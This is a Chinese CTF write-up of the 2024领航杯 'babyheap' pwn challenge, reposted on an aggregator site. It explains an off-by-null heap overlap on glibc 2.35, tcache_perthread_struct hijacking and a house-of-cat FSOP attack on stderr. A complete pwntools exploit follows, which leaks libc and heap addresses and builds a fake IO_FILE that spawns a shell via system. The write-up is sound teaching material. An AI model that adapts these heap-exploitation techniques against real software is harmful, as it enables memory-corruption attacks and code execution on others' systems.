[2024领航杯] Pwn方向题解 babyheap

news/2024/10/14 18:47:00

  [2024领航杯] Pwn方向题解 babyheap

前言:

当然这个比赛我没有参加,是江苏省的一个比赛,附件是XiDP师傅在比赛结束之后发给我的,最近事情有点多,当时搁置了一天,昨天下午想起来这个事情,才开始看题目,XiDP师傅说是2.35版本的libc,确实高版本libc的却棘手,我经验太浅了调试半天,最后让我们一起看一下这个题目。

保护策略:

逆向分析:

功能很齐全啊,该有的都有

add函数最多存在11个堆块,没有大小限制

输入content的时候存在一个off_by_null漏洞

delete就是没有UAF漏洞,show函数是puts打印存在00截断。

edit函数只能用一次

关于泄露地址:

当然存在00截断我们无法直接泄露地址,那么就需要实现unlink来进行堆块重叠,来抵消off_by_null的00截断。

关于2.29之后off_by_null的说明:

当然在之前呢大家也可以看见,我们只需要伪造一个prev size位配合off_by_null即可完成unlink的一系列攻击而且当时只free第一个堆块的话fd和bk指针也不需要伪造了。但是在glibc2.29之后加入了检查,具体是怎么样的呢,它会检查你要释放堆块的prev size和前面堆块的size位大小是不是一样的,不一样的话就会报错,当然想要绕过这个检查就需要修改size位,其实思路的话我们可以申请7个堆块,释放0,3,6堆块,至于为什么这样,因为我们需要修改size位,因为chunk3在中间所以我们比较好修改它的size位,我们释放chunk2,那么chunk2,3合并成了一个大的chunk,然后去申请堆块修改chunk3的size位即可,建议直接修改到top_chunk那里,因为后续要实现unlink的话还是要add堆块的。

 

那么这里需要有一点点的堆风水,怎么说呢,因为存在off_by_null我们输入数据的时候会留下一个00,我们让chunk3的chunk地址存在到00的位置,那么在进行伪造fd和bk指针的时候就可以通过截断来指向chunk3,怎么做呢,因为chunk2,3合并了,修改chunk3之后留下了一个chunk,这个chunk只有最后一位和chunk3不一样,我们可以通过利用这个堆块和chunk0,6来达到伪造fd和bk的目的,当然chunk0的bk指针比较好伪造,chunk6的fd指针我们输入什么都会修改两位因此我们需要chunk5和chunk6合并来修改chunk6的fd指针使其指向chunk3,最后正常off_by_null即可。

 

后续的攻击:

当然限制堆地址和libc地址都有了还需要进行劫持相关的操作,因为2.34之后没有相关的_malloc_hook等这些钩子了,所以一开始我的想法是house of kiwi,但是发现这个版本的 _IO_helper_jumps没有可写的权限。

 

那么只好使用house of apple2 的相关连,house of cat(具体操作我前两篇博客里面有详细内容),但是我这里是直接修改了 stderr结构体,没有直接进行伪造但是我发现一个弊端,这样的话有点极限因为,我们无法修改太多空间如果越界修改了stdout的话会导致程序卡住,所以我在这里卡半天,一直在调试,期间我也发现了,不同版本之间一些利用链的判断条件有所不同需要进行微调。

伪造指针的情况

当然我是用的劫持tcache_ptheread_struct结构体来修改top_chunk和stderr的,因为我感觉largebin attack有点难操作,所以干脆之间修改stderr结构体了。

我是利用_malloc_assert来触发IO的,因为程序正常通过main函数返回所以也可以不用修改top_chunk,但是结构体要微调一些不然就这样了

EXP:

from gt import *
​
con("amd64")
​
io = process("./babyheap")
libc = ELF("./libc.so.6")
​
def add(size,msg):   io.sendlineafter("> ","1")   io.sendlineafter("size:",str(size))   io.sendlineafter("content:",msg)
​
​
def free(index):   io.sendlineafter("> ","2")   io.sendlineafter("index:",str(index))
​
​
def show(index):   io.sendlineafter("> ","3")   io.sendlineafter("index:",str(index))
​
​
def edit(index,msg):   io.sendlineafter("> ","4")   io.sendlineafter("index:",str(index))   io.sendafter("new content:",msg)
​
​
def exit():   io.sendlineafter("> ","5")
​
​
add(0x418,'a') #0
add(0x1f8,'a') #1
add(0x448,'a') #2
add(0x438,'a') #3
add(0x208,'a') #4
add(0x418,'a') #5
add(0x428,'a') #6
add(0x208,'a') #7
​
free(0)
free(3)
free(6)
#gdb.attach(io)
free(2)
#free(5)
​
#gdb.attach(io)
​
payload = b'a'*0x448 + b'\xb0\x10'
add(0x468,payload)
#gdb.attach(io)
add(0x418,'a')
add(0x428,'a')
add(0x418,'a')
#gdb.attach(io)
​
​
free(6)
free(2)
add(0x418,'a'*8)
​
free(3)
free(5)
#gdb.attach(io)
payload = b'a'*0x418 + p64(0x431)
add(0x500,payload)
add(0x9f8,'a')
add(0x408,'a')
add(0x408,'a')
payload = b'a'*0x200 + p64(0x10b0)
edit(7,payload)
free(5)
add(0x430,'a')
​
show(4)
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x21ace0
suc("libc_base",libc_base)
IO_hleper_jumps = libc_base + 0x216a00 
suc("IO_hleper_jumps",IO_hleper_jumps)
IO_file_jumps = libc_base + 0x217600 
stderr = libc_base + 0x21b6a0
show(2)
io.recvuntil('a'*8)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1770
suc("heap_base",heap_base)
top_chunk = heap_base + 0x1140 
add(0x200,'a')
free(9)
free(7)
key = (heap_base + 0x1000) >>  0xc
payload = b'a'*0xa50 + p64(0x340) + p64(0x210) + p64(heap_base+0x10 ^ key)
add(0xa70,payload)
​
add(0x200,'a')
​
add(0x200,b'\x07\x00'*0x40+p64(top_chunk)*20+p64(stderr)*25)
free(7)
free(8)
system = libc_base + libc.sym["system"]
fake_io_addr = stderr
​
fake_IO_FILE = b'/bin/sh\x00' + p64(0x201) +p64(0) +p64(heap_base + 0x200)+p64(0)  + p64(0)*3
fake_IO_FILE +=p64(1)+p64(0) #rcx
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61
fake_IO_FILE +=p64(system)#_IO_save_end=call addr rax+0x58
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE +=p64(fake_io_addr -0x20) #rax1
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2170c0+0x10-0x28)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0x00000000fbad2800) +  p64(libc_base + 0x21b803)*5
#fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
​
#add(0x500,'b'*8)
​
add(0x290,fake_IO_FILE)
add(0xc0,p64(0)+p64(0x300))
​
io.sendlineafter("> ","1")
#gdb.attach(io)
io.sendlineafter("size:",str(0x500))
​
#gdb.attach(io)
io.interactive()

最终效果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/71552.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

高级语言程序设计第三次个人作业

班级网址:https://edu.cnblogs.com/campus/fzu/2024C 作业网址:https://edu.cnblogs.com/campus/fzu/2024C/homework/13284 姓名:袁湘湘 学号:102400109 一,第四章编程练习: 1,4.8.2问题:忘记怎么算名字的宽度 解决:翻阅书本,使用strlen()函数 2,4.8.3问题:无法运行…

智媒AI写作助手轻松写作热点文章,为你提升流量!

在信息爆炸的时代,内容创作成为了吸引用户、提升流量的关键。然而,对于许多创作者来说,持续产出高质量的热点文章是一项挑战。正是在这样的背景下,智媒AI写作助手应运而生,它不仅能够帮助创作者轻松捕捉热点,还能提升文章的质量,从而有效提升流量。以下是智媒AI写作助手…

C++异步调用 future async promise packaged_task

背景:C++ 异步调用是现代 C++ 编程中的一种重要技术,它允许程序在等待某个任务完成时继续执行其他代码,从而提高程序的效率和响应性。 C++11 引入了 std::async、std::future 和 std::promise 等工具,使得异步编程变得更加方便和直观。以下是关于 C++ 异步调用的详细介绍,…

WPF - 项目样例

WPF - 项目样例1. 创建项目: 参考:https://www.cnblogs.com/1285026182YUAN/p/184623962. 修改App.xaml<Application x:Class="ModelFileMigrate.App"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schema…

Spring 实现 3 种异步流式接口,干掉接口超时烦恼

大家好,我是小富~ 如何处理比较耗时的接口? 这题我熟,直接上异步接口,使用 Callable、WebAsyncTask 和 DeferredResult、CompletableFuture等均可实现。 但这些方法有局限性,处理结果仅返回单个值。在某些场景下,如果需要接口异步处理的同时,还持续不断地向客户端响应处…

世界空间到观察空间的矩阵

1)世界空间到观察空间的矩阵2)Addressable在不同工程中如何实现打包和加载3)如何设计角色在下蹲时允许跳跃4)如何实时编辑玩家的近裁剪面距离这是第403篇UWA技术知识分享的推送,精选了UWA社区的热门话题,涵盖了UWA问答、社区帖子等技术知识点,助力大家更全面地掌握和学习…

rocketMQ中事务发送消息

rocketMQ中有关事务的发送消息方式,写的一个demo 1、在MyProducer类中的方法,即先定义调用@Component public class MyProducer {@Autowiredprivate RocketMQTemplate template; public void sendTractionMessage(String topic, String msg) throws InterruptedException {St…

为什么线下面试越来越流行了?

不知道大家有没有发现,最近在找工作时,越来越多的公司开始要求必须线下面试了,例如,深信服:例如,华为:还有公司在发布招聘信息时也明确写明了“只能线下面试”:那背后的原因究竟是啥呢? 原因一:作弊成本越来越低 AI 的诞生确实提供了很多便利,但也有人和团队利用 AI…